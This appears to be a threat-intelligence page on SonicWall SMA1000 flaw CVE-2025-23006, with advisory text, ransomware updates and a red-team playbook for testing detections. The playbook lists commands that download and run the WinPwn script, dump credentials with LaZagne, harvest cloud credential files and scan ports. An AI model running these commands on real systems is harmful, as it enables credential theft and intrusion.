CVE-2025-23006
Overview
This vulnerability is a deserialization flaw occurring during the processing of untrusted data before authentication in the SonicWall SMA1000 Appliance Management Console (AMC) and Central Management Console (CMC). The root cause lies in insecure deserialization logic that fails to properly validate or sanitize serialized input objects. The affected components are the AMC and CMC interfaces responsible for appliance and central management functions.
Vulnerability Description
Pre-authentication deserialization of untrusted data vulnerability has been identified in the SMA1000 Appliance Management Console (AMC) and Central Management Console (CMC), which in specific conditions could potentially enable a remote unauthenticated attacker to execute arbitrary OS commands.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary operating system commands on affected SonicWall SMA1000 appliances. This can lead to full system compromise, allowing unauthorized access to sensitive management functions and potentially enabling lateral movement within the network. The attack requires no prior authentication or user interaction, increasing the likelihood of exploitation in exposed environments.
Solution
SonicWall has released security updates addressing this vulnerability in affected SMA1000 firmware versions. Administrators should apply the patches as detailed in the SonicWall advisory SNWLID-2025-0002 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0002. Following the vendor's instructions to update the SMA8200v, SMA6200, SMA6210, SMA7200, and SMA7210 firmware is critical to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A critical vulnerability has been identified in the management consoles of specific SonicWall appliances, characterized by pre-authentication deserialization of untrusted data. This flaw allows an attacker to send specially crafted data to the appliance, which can lead to the execution of arbitrary operating system commands without requiring any form of authentication. The underlying issue stems from improper handling of serialized data, which can be exploited to manipulate the execution flow of the application. Such vulnerabilities are particularly dangerous as they can be triggered remotely, allowing attackers to bypass authentication mechanisms entirely.
The attack vectors associated with this vulnerability are varied and can be executed through several means. An attacker could leverage network access to the affected management consoles, sending malicious payloads that exploit the deserialization flaw. This could occur through direct HTTP requests or potentially through other network protocols that the management interfaces may expose. Once the payload is processed by the appliance, the attacker could gain control over the operating system, leading to a range of malicious activities, including data exfiltration, lateral movement within the network, or even the installation of persistent backdoors.
The real-world impact of this vulnerability is significant, particularly for organizations relying on the affected SonicWall appliances for secure remote access and management. The potential for unauthorized command execution poses a severe business risk, as it could lead to data breaches, service disruptions, and loss of customer trust. Organizations may face regulatory scrutiny and financial penalties if sensitive data is compromised. Furthermore, the high CVSS score indicates that the vulnerability is not only easy to exploit but also has a broad attack surface, making it a prime target for malicious actors.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the firmware of affected appliances is crucial, as vendors typically release patches to address known vulnerabilities. Network segmentation can also help limit exposure by restricting access to management interfaces from untrusted networks. Employing intrusion detection systems (IDS) can assist in identifying anomalous traffic patterns indicative of exploitation attempts. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by attackers.
In conclusion, the pre-authentication deserialization vulnerability in SonicWall appliances represents a serious threat to organizations utilizing these devices. The ability for an unauthenticated attacker to execute arbitrary commands can lead to devastating consequences, emphasizing the need for proactive security measures. By understanding the nature of the vulnerability, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this critical security flaw.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2025-23006, with telemetry indicating a sustained increase in attempts to exploit the SonicWall SMA1000 vulnerability. This upward trend is reflected in a modest rise in the EPSS score, signaling growing attacker interest and potential for exploitation in the wild. Although no new exploit variants or proof-of-concept code have surfaced, the persistence of ransomware-linked groups such as Sinobi underscores the ongoing operational relevance of this vulnerability. For defenders, this intensification heightens the urgency of monitoring and detection efforts, as the vulnerability remains a viable vector for remote unauthenticated command execution. Consequently, the threat level should be considered elevated, reflecting both the critical severity of the flaw and the increasing adversary activity targeting affected environments.
Update 2 — July 18, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-23006, with telemetry indicating a doubling of observed exploitation attempts against SonicWall SMA1000 appliances. This surge, while not accompanied by new exploit variants or proof-of-concept code, signals increased adversary focus and operational tempo, particularly from ransomware-linked groups such as Sinobi. The persistence and intensification of these activities underscore the vulnerability’s continued attractiveness as a vector for remote unauthenticated command execution. For defenders, this trend elevates the threat landscape by increasing the likelihood of successful compromise attempts, thereby heightening the urgency for vigilant monitoring and rapid incident response. Consequently, the risk assessment for CVE-2025-23006 should be adjusted upward to reflect this growing exploitation momentum and the sustained interest from financially motivated threat actors.
Update 3 — August 05, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-23006, indicating increased adversary engagement with this critical vulnerability. Our telemetry reveals a sustained upward trend in exploitation attempts targeting the SonicWall SMA1000 Appliance Management Console and Central Management Console, consistent with intensified reconnaissance and attack campaigns by financially motivated groups such as Sinobi. Although no new exploit variants or proof-of-concept code have surfaced, the growing frequency of observed intrusion attempts underscores the vulnerability’s persistent appeal as a remote code execution vector. This escalation amplifies the operational risk for defenders by increasing the probability of successful compromise, particularly in environments where patching or mitigation is delayed. Consequently, the threat level associated with CVE-2025-23006 should be elevated to reflect this heightened exploitation momentum and the continuing interest from ransomware-linked actors, reinforcing its status as a critical priority for monitoring and response efforts.
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Sma8200v | All |
cpe:2.3:a:sonicwall:sma8200v:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma6200 Firmware | All |
cpe:2.3:o:sonicwall:sma6200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma6210 Firmware | All |
cpe:2.3:o:sonicwall:sma6210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma7200 Firmware | All |
cpe:2.3:o:sonicwall:sma7200_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma7210 Firmware | All |
cpe:2.3:o:sonicwall:sma7210_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sra Ex6000 Firmware | All |
cpe:2.3:o:sonicwall:sra_ex6000_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sra Ex7000 Firmware | All |
cpe:2.3:o:sonicwall:sra_ex7000_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sra Ex9000 Firmware | All |
cpe:2.3:o:sonicwall:sra_ex9000_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
57%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-23006 |
| psirt.global.sonicwall.com |
GitHub CVE
vendor-advisory
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0002 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-23006 |